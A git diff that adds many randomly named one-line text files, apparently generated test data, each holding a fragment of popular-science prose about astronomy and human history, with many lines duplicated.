diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/dtaukddx.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/dtaukddx.txt
new file mode 100644
index 0000000..61906c3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/dtaukddx.txt
@@ -0,0 +1 @@
+the Earth, forming a baseline comparable to the Earth’s diameter - in a certain sense, a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/ezafqrteobliwnllxduvtleu.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/ezafqrteobliwnllxduvtleu.txt
new file mode 100644
index 0000000..1212b69
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/ezafqrteobliwnllxduvtleu.txt
@@ -0,0 +1 @@
+- The Book of Job
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_bwhpfggkbvywzh.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_bwhpfggkbvywzh.txt
new file mode 100644
index 0000000..a5d28dd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_bwhpfggkbvywzh.txt
@@ -0,0 +1 @@
+occupy tens of billions of years, or more. Human beings and our descendants, whoever they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_ergvbrrssjqskhwnvieq.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_ergvbrrssjqskhwnvieq.txt
new file mode 100644
index 0000000..a5d28dd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_ergvbrrssjqskhwnvieq.txt
@@ -0,0 +1 @@
+occupy tens of billions of years, or more. Human beings and our descendants, whoever they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_ezorgcbnkqflrctuqbyra.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_ezorgcbnkqflrctuqbyra.txt
new file mode 100644
index 0000000..a5d28dd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_ezorgcbnkqflrctuqbyra.txt
@@ -0,0 +1 @@
+occupy tens of billions of years, or more. Human beings and our descendants, whoever they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_ggzjwdwplnioij.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_ggzjwdwplnioij.txt
new file mode 100644
index 0000000..a5d28dd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_ggzjwdwplnioij.txt
@@ -0,0 +1 @@
+occupy tens of billions of years, or more. Human beings and our descendants, whoever they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_gulcvdawtfbutgs.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_gulcvdawtfbutgs.txt
new file mode 100644
index 0000000..a5d28dd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_gulcvdawtfbutgs.txt
@@ -0,0 +1 @@
+occupy tens of billions of years, or more. Human beings and our descendants, whoever they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_gutyedtklmockvumsituo.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_gutyedtklmockvumsituo.txt
new file mode 100644
index 0000000..a5d28dd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_gutyedtklmockvumsituo.txt
@@ -0,0 +1 @@
+occupy tens of billions of years, or more. Human beings and our descendants, whoever they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_hpqxeelulzvzautikzh.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_hpqxeelulzvzautikzh.txt
new file mode 100644
index 0000000..a5d28dd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_hpqxeelulzvzautikzh.txt
@@ -0,0 +1 @@
+occupy tens of billions of years, or more. Human beings and our descendants, whoever they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_jhdzvianczs.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_jhdzvianczs.txt
new file mode 100644
index 0000000..a5d28dd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_jhdzvianczs.txt
@@ -0,0 +1 @@
+occupy tens of billions of years, or more. Human beings and our descendants, whoever they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_mludvzcccezdwxamqu.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_mludvzcccezdwxamqu.txt
new file mode 100644
index 0000000..a5d28dd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_mludvzcccezdwxamqu.txt
@@ -0,0 +1 @@
+occupy tens of billions of years, or more. Human beings and our descendants, whoever they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_mursibfchclhzuwd.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_mursibfchclhzuwd.txt
new file mode 100644
index 0000000..a5d28dd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_mursibfchclhzuwd.txt
@@ -0,0 +1 @@
+occupy tens of billions of years, or more. Human beings and our descendants, whoever they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_nwvwnjwbhaffby.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_nwvwnjwbhaffby.txt
new file mode 100644
index 0000000..a5d28dd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_nwvwnjwbhaffby.txt
@@ -0,0 +1 @@
+occupy tens of billions of years, or more. Human beings and our descendants, whoever they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_ornrukkkdfphdesiatvwb.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_ornrukkkdfphdesiatvwb.txt
new file mode 100644
index 0000000..a5d28dd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_ornrukkkdfphdesiatvwb.txt
@@ -0,0 +1 @@
+occupy tens of billions of years, or more. Human beings and our descendants, whoever they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_pnoqcuugpwmej.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_pnoqcuugpwmej.txt
new file mode 100644
index 0000000..a5d28dd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_pnoqcuugpwmej.txt
@@ -0,0 +1 @@
+occupy tens of billions of years, or more. Human beings and our descendants, whoever they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_qljzsiynjlpqugblauvxejoe.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_qljzsiynjlpqugblauvxejoe.txt
new file mode 100644
index 0000000..a5d28dd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_qljzsiynjlpqugblauvxejoe.txt
@@ -0,0 +1 @@
+occupy tens of billions of years, or more. Human beings and our descendants, whoever they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_rqkjxltcgadehzga.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_rqkjxltcgadehzga.txt
new file mode 100644
index 0000000..a5d28dd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_rqkjxltcgadehzga.txt
@@ -0,0 +1 @@
+occupy tens of billions of years, or more. Human beings and our descendants, whoever they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_sgprqcnyaifukdjlcmajdtby.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_sgprqcnyaifukdjlcmajdtby.txt
new file mode 100644
index 0000000..a5d28dd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_sgprqcnyaifukdjlcmajdtby.txt
@@ -0,0 +1 @@
+occupy tens of billions of years, or more. Human beings and our descendants, whoever they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_tgvxnxhljgcmhavvt.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_tgvxnxhljgcmhavvt.txt
new file mode 100644
index 0000000..a5d28dd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_tgvxnxhljgcmhavvt.txt
@@ -0,0 +1 @@
+occupy tens of billions of years, or more. Human beings and our descendants, whoever they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_vdfizwlzccb.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_vdfizwlzccb.txt
new file mode 100644
index 0000000..a5d28dd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_vdfizwlzccb.txt
@@ -0,0 +1 @@
+occupy tens of billions of years, or more. Human beings and our descendants, whoever they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_vsesxuohi.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_vsesxuohi.txt
new file mode 100644
index 0000000..a5d28dd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_vsesxuohi.txt
@@ -0,0 +1 @@
+occupy tens of billions of years, or more. Human beings and our descendants, whoever they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_vtukocykjofsueytnmv.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_vtukocykjofsueytnmv.txt
new file mode 100644
index 0000000..a5d28dd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_vtukocykjofsueytnmv.txt
@@ -0,0 +1 @@
+occupy tens of billions of years, or more. Human beings and our descendants, whoever they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_wincsyrjoui.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_wincsyrjoui.txt
new file mode 100644
index 0000000..a5d28dd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_wincsyrjoui.txt
@@ -0,0 +1 @@
+occupy tens of billions of years, or more. Human beings and our descendants, whoever they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_wxrskkgg.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_wxrskkgg.txt
new file mode 100644
index 0000000..a5d28dd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_wxrskkgg.txt
@@ -0,0 +1 @@
+occupy tens of billions of years, or more. Human beings and our descendants, whoever they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_zubzkhuqbqmsvvrykub.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_zubzkhuqbqmsvvrykub.txt
new file mode 100644
index 0000000..a5d28dd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/file_zubzkhuqbqmsvvrykub.txt
@@ -0,0 +1 @@
+occupy tens of billions of years, or more. Human beings and our descendants, whoever they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/kuzzplwkestgcw.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/kuzzplwkestgcw.txt
new file mode 100644
index 0000000..7bb1589
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/kuzzplwkestgcw.txt
@@ -0,0 +1 @@
+This is the right answer. Eratosthenes’ only tools were sticks, eyes, feet and brains,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/lhavhzgppyvgltvmftepiho.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/lhavhzgppyvgltvmftepiho.txt
new file mode 100644
index 0000000..d4ea5af
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/lhavhzgppyvgltvmftepiho.txt
@@ -0,0 +1 @@
+generates abstractions. We must figure out much more than our genes can know. That is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/mcdmvkwrfflxezdvk.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/mcdmvkwrfflxezdvk.txt
new file mode 100644
index 0000000..5530a3b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/mcdmvkwrfflxezdvk.txt
@@ -0,0 +1 @@
+opposites, that characterize human thinking. Together, they provide the means both for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/meqgltlyqgnv.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/meqgltlyqgnv.txt
new file mode 100644
index 0000000..cdb04a5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/meqgltlyqgnv.txt
@@ -0,0 +1 @@
+unlikely steps had to occur in biological evolution and human history for our present
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/okujfnaxe.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/okujfnaxe.txt
new file mode 100644
index 0000000..475402e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/okujfnaxe.txt
@@ -0,0 +1 @@
+could be reached by sailing westward from Spain. Hipparchus anticipated that stars come
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/oqgcrqvcje.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/oqgcrqvcje.txt
new file mode 100644
index 0000000..8a2a899
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/oqgcrqvcje.txt
@@ -0,0 +1 @@
+with merchants, scholars and tourists. This was a city where Greeks, Egyptians, Arabs,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/qmhwhcdz.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/qmhwhcdz.txt
new file mode 100644
index 0000000..801247b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/qmhwhcdz.txt
@@ -0,0 +1 @@
+put all this to use.’ Tycho was the greatest observational genius of the age, and Kepler the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/reokboru.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/reokboru.txt
new file mode 100644
index 0000000..7d03af1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/reokboru.txt
@@ -0,0 +1 @@
+be very different from life on Earth. There is no strong evidence either for or against life on
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/sccfmvveie.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/sccfmvveie.txt
new file mode 100644
index 0000000..c4f67c5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/sccfmvveie.txt
@@ -0,0 +1 @@
+evolution of molecular machines as intricate and subtle as we.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/tdurjicwdbfhpgov.txt b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/tdurjicwdbfhpgov.txt
new file mode 100644
index 0000000..5e81011
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tdhydyuvdy/folder_ojukuxercg/folder_eottozrqne/folder_nddocpydlm/tdurjicwdbfhpgov.txt
@@ -0,0 +1 @@
+can no longer follow the chain, he solves the difficulty, terminates his research, by
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/file_alaqqsxfdgufajxg.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/file_alaqqsxfdgufajxg.txt
new file mode 100644
index 0000000..6f41ce3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/file_alaqqsxfdgufajxg.txt
@@ -0,0 +1 @@
+small crater with a prominent ray system lies exactly in the region of the Moon referred to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/file_bgoyjbixlmt.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/file_bgoyjbixlmt.txt
new file mode 100644
index 0000000..6f41ce3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/file_bgoyjbixlmt.txt
@@ -0,0 +1 @@
+small crater with a prominent ray system lies exactly in the region of the Moon referred to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/file_biwlkezdpiu.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/file_biwlkezdpiu.txt
new file mode 100644
index 0000000..6f41ce3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/file_biwlkezdpiu.txt
@@ -0,0 +1 @@
+small crater with a prominent ray system lies exactly in the region of the Moon referred to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/file_buefgkreldyhzgg.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/file_buefgkreldyhzgg.txt
new file mode 100644
index 0000000..6f41ce3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/file_buefgkreldyhzgg.txt
@@ -0,0 +1 @@
+small crater with a prominent ray system lies exactly in the region of the Moon referred to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/file_bzkojluerm.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/file_bzkojluerm.txt
new file mode 100644
index 0000000..6f41ce3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/file_bzkojluerm.txt
@@ -0,0 +1 @@
+small crater with a prominent ray system lies exactly in the region of the Moon referred to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/file_coevqbjysif.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/file_coevqbjysif.txt
new file mode 100644
index 0000000..6f41ce3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/file_coevqbjysif.txt
@@ -0,0 +1 @@
+small crater with a prominent ray system lies exactly in the region of the Moon referred to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/file_dvxxvxisdrg.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/file_dvxxvxisdrg.txt
new file mode 100644
index 0000000..6f41ce3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/file_dvxxvxisdrg.txt
@@ -0,0 +1 @@
+small crater with a prominent ray system lies exactly in the region of the Moon referred to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/file_gjanrnlft.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/file_gjanrnlft.txt
new file mode 100644
index 0000000..6f41ce3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/file_gjanrnlft.txt
@@ -0,0 +1 @@
+small crater with a prominent ray system lies exactly in the region of the Moon referred to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/file_hlgnejjfulj.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/file_hlgnejjfulj.txt
new file mode 100644
index 0000000..6f41ce3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/file_hlgnejjfulj.txt
@@ -0,0 +1 @@
+small crater with a prominent ray system lies exactly in the region of the Moon referred to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/file_kkgelwdvctttjazrhtbhtgwj.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/file_kkgelwdvctttjazrhtbhtgwj.txt
new file mode 100644
index 0000000..6f41ce3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/file_kkgelwdvctttjazrhtbhtgwj.txt
@@ -0,0 +1 @@
+small crater with a prominent ray system lies exactly in the region of the Moon referred to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/file_lbgdexrd.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/file_lbgdexrd.txt
new file mode 100644
index 0000000..6f41ce3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/file_lbgdexrd.txt
@@ -0,0 +1 @@
+small crater with a prominent ray system lies exactly in the region of the Moon referred to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/file_lpcswsxhxzzax.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/file_lpcswsxhxzzax.txt
new file mode 100644
index 0000000..6f41ce3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/file_lpcswsxhxzzax.txt
@@ -0,0 +1 @@
+small crater with a prominent ray system lies exactly in the region of the Moon referred to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/file_oatrinfwkihfrbaxizleu.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/file_oatrinfwkihfrbaxizleu.txt
new file mode 100644
index 0000000..6f41ce3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/file_oatrinfwkihfrbaxizleu.txt
@@ -0,0 +1 @@
+small crater with a prominent ray system lies exactly in the region of the Moon referred to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/file_pgwzadgidxpz.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/file_pgwzadgidxpz.txt
new file mode 100644
index 0000000..6f41ce3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/file_pgwzadgidxpz.txt
@@ -0,0 +1 @@
+small crater with a prominent ray system lies exactly in the region of the Moon referred to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/file_tkbxgwhhkyq.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/file_tkbxgwhhkyq.txt
new file mode 100644
index 0000000..6f41ce3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/file_tkbxgwhhkyq.txt
@@ -0,0 +1 @@
+small crater with a prominent ray system lies exactly in the region of the Moon referred to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/file_uatxmarjgdbrof.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/file_uatxmarjgdbrof.txt
new file mode 100644
index 0000000..6f41ce3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/file_uatxmarjgdbrof.txt
@@ -0,0 +1 @@
+small crater with a prominent ray system lies exactly in the region of the Moon referred to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/file_vqjfelkjdgkoxgfbjevynrcm.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/file_vqjfelkjdgkoxgfbjevynrcm.txt
new file mode 100644
index 0000000..6f41ce3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/file_vqjfelkjdgkoxgfbjevynrcm.txt
@@ -0,0 +1 @@
+small crater with a prominent ray system lies exactly in the region of the Moon referred to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/file_wkviotlqahpsiyakvkraprsy.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/file_wkviotlqahpsiyakvkraprsy.txt
new file mode 100644
index 0000000..6f41ce3
--- /dev/null
